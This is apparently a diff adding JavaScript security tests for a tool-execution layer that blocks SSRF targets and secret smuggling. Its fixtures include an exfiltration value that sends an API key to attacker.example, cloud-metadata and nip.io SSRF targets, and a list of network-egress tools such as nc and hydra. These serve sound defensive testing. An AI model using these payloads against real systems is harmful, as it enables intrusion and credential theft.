+ assert.throws(() => validateArg({ type: "ip_address" }, "::ffff:169.254.169.254"), ALWAYS_BLOCKED_V4); + assert.throws(() => validateArg({ type: "ip_address", block_internal: true }, "127.0.0.1"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg({ type: "ip_address", block_internal: true }, "::1"), BLOCKED_BY_POLICY); + assert.equal(validateArg({ type: "ip_address" }, "127.0.0.1"), "127.0.0.1"); + assert.equal(validateArg({ type: "ip_address", block_internal: true }, "93.184.216.34"), "93.184.216.34"); + }); + + it("ip_address accepts only canonical literals", async () => { + assert.throws(() => validateArg({ type: "ip_address" }, "01.2.3.4"), /Invalid IPv4 address/); + assert.throws(() => validateArg({ type: "ip_address" }, "0177.0.0.1"), /Invalid IPv4 address/); + assert.throws(() => validateArg({ type: "ip_address" }, "127.1"), /Invalid IPv4 address/); + assert.throws(() => validateArg({ type: "ip_address" }, "0x7f000001"), /Invalid IP address/); + assert.throws(() => validateArg({ type: "ip_address" }, "cafe"), /Invalid IP address/); + assert.throws(() => validateArg({ type: "ip_address" }, "fe80::1%eth0"), /Invalid IP address/); + }); + + it("cidr applies the policy to the base address and parses strictly", async () => { + assert.throws(() => validateArg({ type: "cidr" }, "169.254.0.0/16"), ALWAYS_BLOCKED_V4); + assert.throws(() => validateArg({ type: "cidr", block_internal: true }, "127.0.0.0/8"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg({ type: "cidr", block_internal: true }, "::1/128"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg({ type: "cidr", block_internal: true }, "2001:db8::/32"), BLOCKED_BY_POLICY); + assert.equal(validateArg({ type: "cidr", block_internal: true }, "93.184.216.0/24"), "93.184.216.0/24"); + assert.equal(validateArg({ type: "cidr" }, "2001:db8::/32"), "2001:db8::/32"); + assert.throws(() => validateArg({ type: "cidr" }, "0177.0.0.1/8"), /Invalid CIDR notation/); + assert.throws(() => validateArg({ type: "cidr" }, "999.0.0.0/8"), /Invalid CIDR notation/); + assert.throws(() => validateArg({ type: "cidr" }, "::/129"), /Invalid CIDR prefix for IPv6/); + }); +}); + +// --------------------------------------------------------------------------- +// manifest: block_internal is a real field +// --------------------------------------------------------------------------- + +describe("manifest - block_internal and schemes", () => { + const HEAD = ` +[tool] +name = "t" +description = "t" +binary = "echo" +`; + const TAIL = ` +[command] +exec = ["echo", "{target}"] + +[output] +format = "text" +`; + + it("defaults block_internal to false and reads an explicit true", async () => { + const off = loadManifest(writeTmp(`${HEAD} +[args.target] +type = "scope_target" +required = true +description = "t" +${TAIL}`)); + assert.equal(off.args.target.block_internal, false); + + const on = loadManifest(writeTmp(`${HEAD} +[args.target] +type = "scope_target" +required = true +description = "t" +block_internal = true +${TAIL}`)); + assert.equal(on.args.target.block_internal, true); + }); + + it("rejects a non-boolean block_internal and a non-list schemes", async () => { + assert.throws( + () => loadManifest(writeTmp(`${HEAD} +[args.target] +type = "scope_target" +required = true +description = "t" +block_internal = "yes" +${TAIL}`)), + /^Error: Invalid manifest: args\.target\.block_internal must be a boolean$/ + ); + assert.throws( + () => loadManifest(writeTmp(`${HEAD} +[args.target] +type = "url" +required = true +description = "t" +schemes = "https" +${TAIL}`)), + /^Error: Invalid manifest: args\.target\.schemes must be an array of strings$/ + ); + }); + + it("block_internal from a loaded manifest reaches the validator", async () => { + const m = loadManifest(writeTmp(`${HEAD} +[args.target] +type = "scope_target" +required = true +description = "t" +block_internal = true +${TAIL}`)); + await assert.rejects(() => execute(m, { target: "10.0.0.5" }, { dryRun: true }), BLOCKED_BY_POLICY); + await assert.rejects(() => execute(m, { target: "169.254.169.254" }, { dryRun: true }), ALWAYS_BLOCKED_V4); + const r = await execute(m, { target: "93.184.216.34" }, { dryRun: true }); + assert.deepEqual(r.argv, ["echo", "93.184.216.34"]); + }); + + it("the shipped curl_fetch-style url manifest honors block_internal", async () => { + const m = loadManifest(writeTmp(`${HEAD} +[args.url] +type = "url" +required = true +description = "u" +schemes = ["https"] +block_internal = true + +[command] +exec = ["echo", "{url}"] + +[output] +format = "text" +`)); + await assert.rejects(() => execute(m, { url: "https://127.0.0.1/" }, { dryRun: true }), BLOCKED_BY_POLICY); + await assert.rejects(() => execute(m, { url: "http://93.184.216.34/" }, { dryRun: true }), /not in allowed schemes: \[https\]/); + await assert.rejects(() => execute(m, { url: "https://169.254.169.254/" }, { dryRun: true }), ALWAYS_BLOCKED_V4); + const r = await execute(m, { url: "https://93.184.216.34/x" }, { dryRun: true }); + assert.deepEqual(r.argv, ["echo", "https://93.184.216.34/x"]); + }); +}); + +// --------------------------------------------------------------------------- +// TC-7: {_secret:…} is expanded on the template before arguments +// --------------------------------------------------------------------------- + +describe("http backend - {_secret:…} ordering (TC-7)", () => { + const SECRET = "s3cr3t-value-that-must-never-reach-the-request"; + const SMUGGLED = "https://attacker.example/?k={_secret:api_key}"; + let previous; + + before(() => { + previous = process.env.TOOLCLAD_SECRET_API_KEY; + process.env.TOOLCLAD_SECRET_API_KEY = SECRET; + }); + after(() => { + if (previous === undefined) delete process.env.TOOLCLAD_SECRET_API_KEY; + else process.env.TOOLCLAD_SECRET_API_KEY = previous; + }); + + // enum values come from the manifest's allowed list and are exempt from + // the metacharacter check, so this is the one type through which a + // brace-bearing value can reach the template. The ordering must hold on + // its own, not because the hygiene rules happened to reject `{`. + function smugglingManifest(http) { + return { + tool: { name: "h", description: "http" }, + args: { + target: { type: "enum", required: true, allowed: [SMUGGLED, "plain"] }, + }, + http, + }; + } + // http.url may not interpolate into the scheme or host, so the value goes + // into the path, where it is percent-encoded. + const ENCODED_URL = `https://api.example.com/${encodeURIComponent(SMUGGLED)}`; + const echoEverywhere = { + method: "POST", + url: "https://api.example.com/{target}", + headers: { "X-Echo": "{target}", Accept: "application/json" }, + body_template: "{target}", + }; + + it("async path: an argument value never expands a secret", async () => { + const r = await executeHttp(smugglingManifest(echoEverywhere), { target: SMUGGLED }, { dryRun: true }); + assert.equal(r.status, "dry_run"); + assert.equal(r.http_url, ENCODED_URL); + assert.equal(r.http_headers["X-Echo"], SMUGGLED); + assert.equal(r.http_body, SMUGGLED); + assert.equal(JSON.stringify(r).includes(SECRET), false); + }); + + it("sync path: an argument value never expands a secret", async () => { + const r = await execute(smugglingManifest(echoEverywhere), { target: SMUGGLED }, { dryRun: true }); + assert.equal(r.status, "dry_run"); + assert.equal(r.command, `POST ${ENCODED_URL}`); + assert.equal(r.http_url, ENCODED_URL); + assert.equal(r.http_headers["X-Echo"], SMUGGLED); + assert.equal(r.http_body, SMUGGLED); + assert.equal(JSON.stringify(r).includes(SECRET), false); + }); + + it("the manifest's own secret references still resolve, before interpolation", async () => { + const http = { + method: "GET", + url: "https://api.example.com/{target}?key={_secret:api_key}", + headers: { Authorization: "Bearer {_secret:api_key}" }, + body_template: "{{\"q\":\"{target}\",\"k\":\"{_secret:api_key}\"}}", + }; + const expectedUrl = `https://api.example.com/plain?key=${SECRET}`; + const asyncResult = await executeHttp(smugglingManifest(http), { target: "plain" }, { dryRun: true }); + assert.equal(asyncResult.http_url, expectedUrl); + assert.equal(asyncResult.http_headers.Authorization, `Bearer ${SECRET}`); + assert.equal(asyncResult.http_body, `{"q":"plain","k":"${SECRET}"}`); + const syncResult = await execute(smugglingManifest(http), { target: "plain" }, { dryRun: true }); + assert.equal(syncResult.http_url, expectedUrl); + assert.equal(syncResult.http_headers.Authorization, `Bearer ${SECRET}`); + assert.equal(syncResult.http_body, `{"q":"plain","k":"${SECRET}"}`); + }); + + it("a url-typed argument carrying a secret reference is rejected before any expansion", async () => { + const m = { + tool: { name: "h", description: "http" }, + args: { target: { type: "url", required: true, block_internal: true } }, + http: { method: "GET", url: "https://api.example.com/fetch?u={target}" }, + }; + await assert.rejects(executeHttp(m, { target: SMUGGLED }, { dryRun: true }), /Injection detected/); + await assert.rejects(() => execute(m, { target: SMUGGLED }, { dryRun: true }), /Injection detected/); + }); + + it("a secret the manifest references but the environment lacks is still an error", async () => { + const m = smugglingManifest({ method: "GET", url: "https://api.example.com/?k={_secret:missing_key}" }); + await assert.rejects( + executeHttp(m, { target: "plain" }, { dryRun: true }), + /Missing environment variable: TOOLCLAD_SECRET_MISSING_KEY/ + ); + await assert.rejects( + () => execute(m, { target: "plain" }, { dryRun: true }), + /Missing environment variable: TOOLCLAD_SECRET_MISSING_KEY/ + ); + }); +}); diff --git a/js/test/hardening_w4.test.js b/js/test/hardening_w4.test.js new file mode 100644 index 0000000..0b37033 --- /dev/null +++ b/js/test/hardening_w4.test.js @@ -0,0 +1,678 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { writeFileSync, mkdtempSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { loadManifest, loadManifestWithOptions, validateManifestWithCustomTypes } from "../src/manifest.js"; +import { + validateArg, + validateArgMode, + validateArgAsync, + validateArgWithCustomTypes, + validateArgWithCustomTypesAsync, +} from "../src/validator.js"; +import { + parseCidr, + prefixesOverlap, + toIpv4MappedPrefix, + internalNameReason, + embeddedIpv4Literal, + INTERNAL_NAMES, + INTERNAL_NAME_SUFFIXES, +} from "../src/hostpolicy.js"; +import { + buildCommandArgv, + compileCommand, + execute, + executeHttp, + isEgressManifest, + lintNetworkEgress, + EGRESS_BINARIES, +} from "../src/executor.js"; + +// Tests in this file never run a network tool and never open a connection. +// The only network activity is a DNS lookup of a `.invalid` name (reserved by +// RFC 2606, never resolves), used to assert the fail-closed path. Positive +// cases use literals; negative cases use the internal-name denylist and the +// embedded-literal shapes, none of which need a resolver. + +function writeTmp(content) { + const dir = mkdtempSync(join(tmpdir(), "toolclad-w4-")); + const path = join(dir, "test.clad.toml"); + writeFileSync(path, content); + return path; +} + +function oneshot(tool, args, command) { + return { + tool: { name: "t", description: "d", ...tool }, + args, + command, + output: { format: "text" }, + }; +} + +const INTERNAL = /^Error: target resolves to an internal name — always blocked$/; +const BLOCKED_BY_POLICY = /\(blocked by block_internal policy\)$/; +const LOOPBACK = /^Error: target resolves to a loopback address \(blocked by block_internal policy\)$/; +const PRIVATE = /^Error: target resolves to a private address \(blocked by block_internal policy\)$/; +const ALWAYS_V4 = + /^Error: target is a link-local \/ cloud-metadata address \(169\.254\.0\.0\/16\) — always blocked$/; +const ALWAYS_V6 = /^Error: target is an IPv6 link-local address \(fe80::\/10\) — always blocked$/; +const SYNC_UNRESOLVED = + /^Error: hostname cannot be verified without DNS resolution; pass an IP literal or use validateArgAsync$/; +const couldNotResolve = (host) => + new RegExp(`^Error: could not resolve host '${host.replace(/\./g, "\\.")}' to verify it is public \\(block_internal\\)$`); +const LINT_TARGET = + /^Error: argument 'target' is a network target for an egress binary but block_internal is not set; set block_internal = true to default-deny internal\/SSRF targets$/; + +// --- D1 internal-name denylist --------------------------------------------- + +describe("W4 D1 - internal-name denylist is unconditional", () => { + const names = [ + "localhost", + "api.localhost", + "printer.local", + "metadata.google.internal", + "db.internal", + "x.home.arpa", + "nas.lan", + "wiki.intranet", + "fs.corp", + "vault.private", + ]; + + it("refuses each name as a scope_target without block_internal", async () => { + for (const v of names) { + assert.throws(() => validateArg({ type: "scope_target" }, v), INTERNAL, v); + assert.throws(() => validateArg({ type: "scope_target", block_internal: false }, v), INTERNAL, v); + assert.throws(() => validateArg({ type: "scope_target", block_internal: true }, v), INTERNAL, v); + } + }); + + it("refuses each name as a url host without block_internal", async () => { + for (const v of names) { + assert.throws(() => validateArg({ type: "url" }, `http://${v}/`), INTERNAL, v); + assert.throws(() => validateArg({ type: "url" }, `https://${v}:8443/path?q=1`), INTERNAL, v); + } + }); + + it("compares case-insensitively and ignores one trailing dot", async () => { + const reason = "resolves to an internal name — always blocked"; + assert.equal(internalNameReason("LOCALHOST"), reason); + assert.equal(internalNameReason("Api.LocalHost."), reason); + assert.equal(internalNameReason("Metadata.Google.Internal"), reason); + assert.equal(internalNameReason("HOST.Home.ARPA"), reason); + assert.throws(() => validateArg({ type: "scope_target" }, "LocalHost"), INTERNAL); + assert.throws(() => validateArg({ type: "url" }, "http://Printer.LOCAL/"), INTERNAL); + }); + + it("matches whole labels only", async () => { + assert.equal(internalNameReason("example.com"), null); + assert.equal(internalNameReason("localhost.example.com"), null); + assert.equal(internalNameReason("mylocal.example"), null); + assert.equal(internalNameReason("corp.example.com"), null); + assert.equal(internalNameReason("notlocalhost"), null); + assert.equal(validateArg({ type: "scope_target" }, "localhost.example.com"), "localhost.example.com"); + assert.equal(validateArg({ type: "url" }, "https://corp.example.com/"), "https://corp.example.com/"); + }); + + it("the tables match the normative list", async () => { + assert.deepEqual([...INTERNAL_NAMES], ["localhost", "metadata.google.internal"]); + assert.deepEqual( + [...INTERNAL_NAME_SUFFIXES], + [".localhost", ".local", ".internal", ".home.arpa", ".lan", ".intranet", ".corp", ".private"] + ); + }); +}); + +// --- D2 embedded IP literal ------------------------------------------------- + +describe("W4 D2 - IP literal embedded in a hostname", () => { + it("169.254.169.254.nip.io is refused without block_internal", async () => { + assert.throws(() => validateArg({ type: "scope_target" }, "169.254.169.254.nip.io"), ALWAYS_V4); + assert.throws(() => validateArg({ type: "scope_target" }, "169-254-169-254.nip.io"), ALWAYS_V4); + assert.throws( + () => validateArg({ type: "url" }, "http://169.254.169.254.xip.io/latest/meta-data/"), + ALWAYS_V4 + ); + assert.throws(() => validateArg({ type: "url" }, "http://169-254-169-254.sslip.io:80/"), ALWAYS_V4); + }); + + it("127.0.0.1.nip.io and 10-0-0-1.nip.io are refused with block_internal", async () => { + const def = { type: "scope_target", block_internal: true }; + assert.throws(() => validateArg(def, "127.0.0.1.nip.io"), LOOPBACK); + assert.throws(() => validateArg(def, "10-0-0-1.nip.io"), PRIVATE); + assert.throws(() => validateArg(def, "192-168-1-1.sslip.io"), PRIVATE); + assert.throws(() => validateArg({ type: "url", block_internal: true }, "http://127.0.0.1.nip.io:8080/"), LOOPBACK); + assert.throws(() => validateArg({ type: "url", block_internal: true }, "https://10-0-0-1.nip.io/"), PRIVATE); + }); + + it("the embedded policy is opt-in like the literal policy", async () => { + // 127/8 and 10/8 are block_internal rows: without the flag the name is an + // ordinary hostname and no resolution is attempted. + assert.equal(validateArg({ type: "scope_target" }, "127.0.0.1.nip.io"), "127.0.0.1.nip.io"); + assert.equal(validateArg({ type: "scope_target" }, "10-0-0-1.nip.io"), "10-0-0-1.nip.io"); + }); + + it("a public embedded address is not refused for its shape", async () => { + assert.equal(validateArg({ type: "scope_target" }, "93-184-216-34.example.com"), "93-184-216-34.example.com"); + assert.equal(validateArg({ type: "scope_target" }, "93.184.216.34.example.com"), "93.184.216.34.example.com"); + assert.equal(validateArg({ type: "url" }, "https://93-184-216-34.example.com/"), "https://93-184-216-34.example.com/"); + // With block_internal the shape passes the policy and the name reaches + // the resolution step; the sync path refuses for that reason and no + // other, which is the observable proof that the shape alone did not. + assert.throws( + () => validateArg({ type: "scope_target", block_internal: true }, "93-184-216-34.example.com"), + SYNC_UNRESOLVED + ); + }); + + it("embeddedIpv4Literal recognizes exactly the two shapes", async () => { + assert.deepEqual(embeddedIpv4Literal("127.0.0.1.nip.io"), { family: 4, addr: 0x7f000001 }); + assert.deepEqual(embeddedIpv4Literal("10-0-0-1.nip.io"), { family: 4, addr: 0x0a000001 }); + assert.deepEqual(embeddedIpv4Literal("10-0-0-1"), { family: 4, addr: 0x0a000001 }); + // Dashed groups are decimal 0-255; a leading zero does not change the value. + assert.deepEqual(embeddedIpv4Literal("010-0-0-1.nip.io"), { family: 4, addr: 0x0a000001 }); + assert.equal(embeddedIpv4Literal("10-0-0-256.nip.io"), null); + assert.equal(embeddedIpv4Literal("10-0-0.nip.io"), null); + assert.equal(embeddedIpv4Literal("10-0-0-1-2.nip.io"), null); + // Only the first four labels / the first label count. + assert.equal(embeddedIpv4Literal("x.127.0.0.1.nip.io"), null); + assert.equal(embeddedIpv4Literal("x.10-0-0-1.nip.io"), null); + // The dotted form must be canonical, as for a bare literal. + assert.equal(embeddedIpv4Literal("0177.0.0.1.nip.io"), null); + assert.equal(embeddedIpv4Literal("127.0.0.256.nip.io"), null); + assert.equal(embeddedIpv4Literal("example.com"), null); + }); +}); + +// --- D3 CIDR overlap ---------------------------------------------------------- + +describe("W4 D3 - CIDR overlap, not base address", () => { + it("8.0.0.0/5 is refused with block_internal: its base is public but it contains 10.0.0.0/8", async () => { + assert.throws(() => validateArg({ type: "scope_target", block_internal: true }, "8.0.0.0/5"), PRIVATE); + assert.throws(() => validateArg({ type: "cidr", block_internal: true }, "8.0.0.0/5"), PRIVATE); + // Opt-in: 8.0.0.0/5 contains no always-blocked range. + assert.equal(validateArg({ type: "scope_target" }, "8.0.0.0/5"), "8.0.0.0/5"); + assert.equal(validateArg({ type: "cidr" }, "8.0.0.0/5"), "8.0.0.0/5"); + }); + + it("10.0.0.0/24 is refused and 93.184.216.0/24 is accepted", async () => { + for (const type of ["scope_target", "cidr"]) { + const def = { type, block_internal: true }; + assert.throws(() => validateArg(def, "10.0.0.0/24"), PRIVATE, type); + assert.throws(() => validateArg(def, "127.1.0.0/16"), LOOPBACK, type); + assert.throws(() => validateArg(def, "0.0.0.0/0"), ALWAYS_V4, type); + assert.equal(validateArg(def, "93.184.216.0/24"), "93.184.216.0/24", type); + assert.equal(validateArg(def, "8.8.8.0/24"), "8.8.8.0/24", type); + } + }); + + it("IPv6: 2001:db8::/32 is refused and 2606:4700::/32 is accepted", async () => { + for (const type of ["scope_target", "cidr"]) { + const def = { type, block_internal: true }; + assert.throws(() => validateArg(def, "2001:db8::/32"), BLOCKED_BY_POLICY, type); + // A supernet and a subnet of the documentation range both overlap it. + assert.throws(() => validateArg(def, "2001::/16"), BLOCKED_BY_POLICY, type); + assert.throws(() => validateArg(def, "2001:db8:1::/48"), BLOCKED_BY_POLICY, type); + assert.throws(() => validateArg(def, "fc00::/8"), BLOCKED_BY_POLICY, type); + // ::/0 contains the IPv4-mapped block, so the first table row (IPv4 + // link-local) reports it, exactly as for a ::ffff: literal. + assert.throws(() => validateArg(def, "::/0"), ALWAYS_V4, type); + assert.equal(validateArg(def, "2606:4700::/32"), "2606:4700::/32", type); + assert.equal(validateArg(def, "2001:4860::/32"), "2001:4860::/32", type); + } + }); + + it("a range containing link-local is always blocked, with or without block_internal", async () => { + for (const blockInternal of [false, true]) { + for (const type of ["scope_target", "cidr"]) { + const def = { type, block_internal: blockInternal }; + assert.throws(() => validateArg(def, "169.254.0.0/16"), ALWAYS_V4); + assert.throws(() => validateArg(def, "169.254.169.0/24"), ALWAYS_V4); + assert.throws(() => validateArg(def, "160.0.0.0/3"), ALWAYS_V4); + assert.throws(() => validateArg(def, "0.0.0.0/0"), ALWAYS_V4); + assert.throws(() => validateArg(def, "fe80::/64"), ALWAYS_V6); + assert.throws(() => validateArg(def, "fe00::/8"), ALWAYS_V6); + assert.throws(() => validateArg(def, "::/0"), ALWAYS_V4); + assert.throws(() => validateArg(def, "8000::/1"), ALWAYS_V6); + } + } + }); + + it("IPv4-mapped IPv6 ranges are projected onto the IPv4 rows", async () => { + const def = { type: "cidr", block_internal: true }; + assert.throws(() => validateArg(def, "::ffff:127.0.0.0/104"), LOOPBACK); + assert.throws(() => validateArg(def, "::ffff:10.0.0.0/104"), PRIVATE); + assert.throws(() => validateArg({ type: "cidr" }, "::ffff:169.254.0.0/112"), ALWAYS_V4); + assert.throws(() => validateArg({ type: "cidr" }, "::ffff:0:0/96"), ALWAYS_V4); + assert.equal(validateArg(def, "::ffff:93.184.216.0/120"), "::ffff:93.184.216.0/120"); + assert.deepEqual(toIpv4MappedPrefix(parseCidr("::ffff:127.0.0.0/104")), { + ip: { family: 4, addr: 0x7f000000 }, + prefix: 8, + }); + assert.deepEqual(toIpv4MappedPrefix(parseCidr("::ffff:0:0/95")), { + ip: { family: 4, addr: 0 }, + prefix: 0, + }); + assert.equal(toIpv4MappedPrefix(parseCidr("2001:db8::/32")), null); + assert.equal(toIpv4MappedPrefix(parseCidr("::fffe:0:0/96")), null); + }); + + it("prefixesOverlap: boundaries on the 32-bit and eight-group representations", async () => { + const o = (a, b) => prefixesOverlap(parseCidr(a), parseCidr(b)); + assert.equal(o("8.0.0.0/5", "10.0.0.0/8"), true); + assert.equal(o("10.0.0.0/8", "8.0.0.0/5"), true); + assert.equal(o("10.0.0.0/8", "10.0.0.0/8"), true); + assert.equal(o("10.0.0.0/8", "11.0.0.0/8"), false); + assert.equal(o("10.255.255.255/32", "10.0.0.0/8"), true); + assert.equal(o("11.0.0.0/32", "10.0.0.0/8"), false); + assert.equal(o("9.255.255.255/32", "10.0.0.0/8"), false); + assert.equal(o("0.0.0.0/0", "255.255.255.255/32"), true); + assert.equal(o("255.255.255.255/32", "0.0.0.0/0"), true); + assert.equal(o("128.0.0.0/1", "127.0.0.0/8"), false); + assert.equal(o("172.16.0.0/12", "172.32.0.0/12"), false); + assert.equal(o("172.31.255.0/24", "172.16.0.0/12"), true); + // Families never overlap. + assert.equal(o("127.0.0.0/8", "::1/128"), false); + assert.equal(o("::/0", "0.0.0.0/0"), false); + // IPv6: whole groups and the masked boundary group. + assert.equal(o("2001:db8::/32", "2001:db8:ffff::/48"), true); + assert.equal(o("2001:db8::/32", "2001:db9::/32"), false); + assert.equal(o("2001::/16", "2001:db8::/32"), true); + assert.equal(o("::/0", "fe80::/10"), true); + assert.equal(o("fe80::/10", "fec0::/10"), false); + assert.equal(o("febf::/16", "fe80::/10"), true); + assert.equal(o("fec0::/16", "fe80::/10"), false); + assert.equal(o("fc00::/7", "fdff:ffff:ffff:ffff::/64"), true); + assert.equal(o("fc00::/7", "fe00::/8"), false); + assert.equal(o("::1/128", "::1/128"), true); + assert.equal(o("::1/128", "::2/127"), false); + assert.equal(o("::/127", "::1/128"), true); + }); +}); + +// --- D4 DNS resolution ---------------------------------------------------------- + +describe("W4 D4 - DNS resolution under block_internal (fail closed)", () => { + it("sync: a hostname under block_internal is refused without a lookup", async () => { + assert.throws(() => validateArg({ type: "scope_target", block_internal: true }, "example.com"), SYNC_UNRESOLVED); + assert.throws(() => validateArgMode({ type: "scope_target", block_internal: true }, "example.com", true), SYNC_UNRESOLVED); + assert.throws(() => validateArg({ type: "url", block_internal: true }, "https://example.com/"), SYNC_UNRESOLVED); + assert.throws( + () => validateArgWithCustomTypes({ type: "host", block_internal: true }, "example.com", { host: { base: "scope_target" } }), + SYNC_UNRESOLVED + ); + assert.throws( + () => validateArgWithCustomTypes({ type: "web", block_internal: true }, "https://example.com/", { web: { base: "url" } }), + SYNC_UNRESOLVED + ); + }); + + it("sync: the same name is accepted when block_internal is false (no resolution is attempted)", async () => { + assert.equal(validateArg({ type: "scope_target" }, "no-such-host.invalid"), "no-such-host.invalid"); + assert.equal(validateArg({ type: "scope_target", block_internal: false }, "no-such-host.invalid"), "no-such-host.invalid"); + assert.equal(validateArg({ type: "url" }, "https://no-such-host.invalid/"), "https://no-such-host.invalid/"); + }); + + it("async: a name that cannot resolve is refused with the could-not-resolve message", async () => { + await assert.rejects( + validateArgAsync({ type: "scope_target", block_internal: true }, "no-such-host.invalid"), + couldNotResolve("no-such-host.invalid") + ); + await assert.rejects( + validateArgAsync({ type: "url", block_internal: true }, "https://no-such-host.invalid:8443/x?y=1"), + couldNotResolve("no-such-host.invalid") + ); + await assert.rejects( + validateArgWithCustomTypesAsync( + { type: "web", block_internal: true }, + "https://no-such-host.invalid/", + { web: { base: "url" } } + ), + couldNotResolve("no-such-host.invalid") + ); + await assert.rejects( + validateArgAsync({ type: "scope_target", block_internal: true }, "no-such-host.invalid", true), + couldNotResolve("no-such-host.invalid") + ); + }); + + it("async: the same name is accepted when block_internal is false", async () => { + assert.equal(await validateArgAsync({ type: "scope_target" }, "no-such-host.invalid"), "no-such-host.invalid"); + assert.equal(await validateArgAsync({ type: "url" }, "https://no-such-host.invalid/"), "https://no-such-host.invalid/"); + }); + + it("async: literals, ranges, the denylist and embedded literals take the shared path", async () => { + const def = { type: "scope_target", block_internal: true }; + assert.equal(await validateArgAsync(def, "93.184.216.34"), "93.184.216.34"); + assert.equal(await validateArgAsync(def, "2606:4700::1"), "2606:4700::1"); + assert.equal(await validateArgAsync(def, "93.184.216.0/24"), "93.184.216.0/24"); + assert.equal(await validateArgAsync({ type: "url", block_internal: true }, "https://93.184.216.34/x"), "https://93.184.216.34/x"); + assert.equal(await validateArgAsync({ type: "ip_address", block_internal: true }, "93.184.216.34"), "93.184.216.34"); + assert.equal(await validateArgAsync({ type: "cidr", block_internal: true }, "2606:4700::/32"), "2606:4700::/32"); + await assert.rejects(validateArgAsync(def, "127.0.0.1"), LOOPBACK); + await assert.rejects(validateArgAsync(def, "8.0.0.0/5"), PRIVATE); + await assert.rejects(validateArgAsync(def, "localhost"), INTERNAL); + await assert.rejects(validateArgAsync(def, "127.0.0.1.nip.io"), LOOPBACK); + await assert.rejects(validateArgAsync({ type: "scope_target" }, "169.254.169.254.nip.io"), ALWAYS_V4); + await assert.rejects(validateArgAsync({ type: "url", block_internal: true }, "http://10-0-0-1.nip.io/"), PRIVATE); + }); + + it("async: hygiene, structure and the other types are the same implementation", async () => { + const def = { type: "scope_target", block_internal: true }; + await assert.rejects(validateArgAsync(def, "a b"), /must not contain whitespace/); + await assert.rejects(validateArgAsync(def, "xn--example-9c.com"), /punycode/); + await assert.rejects(validateArgAsync(def, "0x7f000001"), /non-canonical IP literal/); + await assert.rejects(validateArgAsync({ type: "url", block_internal: true }, "ftp://93.184.216.34/"), /not in allowed schemes/); + await assert.rejects(validateArgAsync({ type: "integer", min: 1 }, "0"), /below minimum/); + await assert.rejects(validateArgAsync({ type: "nope" }, "x"), /Unknown argument type: nope/); + assert.equal(await validateArgAsync({ type: "integer" }, "7"), 7); + assert.equal(await validateArgAsync({ type: "boolean" }, "true"), true); + assert.equal(await validateArgAsync({ type: "string", allow_whitespace: true }, "a b", true), "a b"); + await assert.rejects(validateArgAsync({ type: "string", allow_whitespace: true }, "a b", false), /must not contain whitespace/); + assert.equal( + await validateArgWithCustomTypesAsync({ type: "level" }, "high", { level: { base: "enum", allowed: ["low", "high"] } }), + "high" + ); + }); + + it("the build path is synchronous: a hostname under block_internal is refused, a literal builds", async () => { + const m = oneshot( + { binary: "echo" }, + { target: { type: "scope_target", required: true, block_internal: true } }, + { exec: ["echo", "{target}"] } + ); + assert.throws(() => buildCommandArgv(m, { target: "example.com" }), SYNC_UNRESOLVED); + assert.throws(() => buildCommandArgv(m, { target: "localhost" }), INTERNAL); + assert.deepEqual(buildCommandArgv(m, { target: "93.184.216.34" }).argv, ["echo", "93.184.216.34"]); + assert.deepEqual(buildCommandArgv(m, { target: "93.184.216.0/24" }).argv, ["echo", "93.184.216.0/24"]); + }); +}); + +// --- D5 egress lint --------------------------------------------------------- + +describe("W4 D5 - egress lint as a manifest property (TC-15)", () => { + it("the egress binary list is exactly the Rust list", async () => { + assert.deepEqual( + [...EGRESS_BINARIES], + ["curl", "wget", "nmap", "nc", "ncat", "netcat", "masscan", "telnet", "ssh", "ping", "fping", "httpie", "http", "wfuzz", "ffuf", "hydra", "nikto"] + ); + }); + + it("a curl manifest without block_internal is refused at load; with the flag it loads", async () => { + const curl = (flag) => `[tool] +name = "fetch" +binary = "curl" +description = "d" + +[args.target] +position = 1 +required = true +type = "url" +description = "u" +${flag} +[command] +exec = ["curl", "{target}"] + +[output] +format = "text" +`; + assert.throws(() => loadManifest(writeTmp(curl(""))), LINT_TARGET); + assert.throws(() => loadManifest(writeTmp(curl("block_internal = false\n"))), LINT_TARGET); + const m = loadManifest(writeTmp(curl("block_internal = true\n"))); + assert.equal(m.args.target.block_internal, true); + assert.equal(isEgressManifest(m), true); + }); + + it("an nmap manifest without block_internal is refused at load; with the flag it loads", async () => { + const nmap = (flag) => `[tool] +name = "scan" +binary = "nmap" +description = "d" + +[args.target] +position = 1 +required = true +type = "scope_target" +description = "t" +${flag} +[command] +exec = ["nmap", "-sn", "{target}"] + +[output] +format = "text" +`; + assert.throws(() => loadManifest(writeTmp(nmap(""))), LINT_TARGET); + const m = loadManifest(writeTmp(nmap("block_internal = true\n"))); + assert.equal(m.args.target.block_internal, true); + }); + + it("every network target type is covered; other types are not linted", async () => { + for (const type of ["scope_target", "url", "ip_address", "cidr"]) { + const m = oneshot({ binary: "wget" }, { target: { type, required: true } }, { exec: ["wget", "{target}"] }); + assert.throws(() => compileCommand(m), LINT_TARGET, type); + const ok = oneshot({ binary: "wget" }, { target: { type, required: true, block_internal: true } }, { exec: ["wget", "{target}"] }); + compileCommand(ok); + } + const m = oneshot( + { binary: "wget" }, + { count: { type: "integer" }, name: { type: "string" }, mode: { type: "enum", allowed: ["a"] } }, + { exec: ["wget", "{name}"] } + ); + compileCommand(m); + assert.equal(isEgressManifest(m), true); + }); + + it("network_egress = true makes a manifest egress even when the binary is not listed", async () => { + const m = oneshot( + { binary: "mytool", network_egress: true }, + { target: { type: "scope_target" } }, + { exec: ["mytool", "{target}"] } + ); + assert.throws(() => compileCommand(m), LINT_TARGET); + const path = writeTmp(`[tool] +name = "x" +binary = "mytool" +network_egress = true +description = "d" + +[args.target] +type = "ip_address" +description = "t" + +[command] +exec = ["mytool", "{target}"] + +[output] +format = "text" +`); + assert.throws(() => loadManifest(path), LINT_TARGET); + const unflagged = oneshot({ binary: "mytool" }, { target: { type: "scope_target" } }, { exec: ["mytool", "{target}"] }); + compileCommand(unflagged); + assert.equal(isEgressManifest(unflagged), false); + }); + + it("an [http] manifest with a url argument requires the flag, at load and in memory", async () => { + const path = writeTmp(`[tool] +name = "api" +description = "d" + +[args.target] +type = "url" +description = "u" + +[http] +method = "GET" +url = "https://api.example.com/fetch?u={target}" + +[output] +format = "json" +`); + assert.throws(() => loadManifest(path), LINT_TARGET); + + const m = { + tool: { name: "api", description: "d" }, + args: { target: { 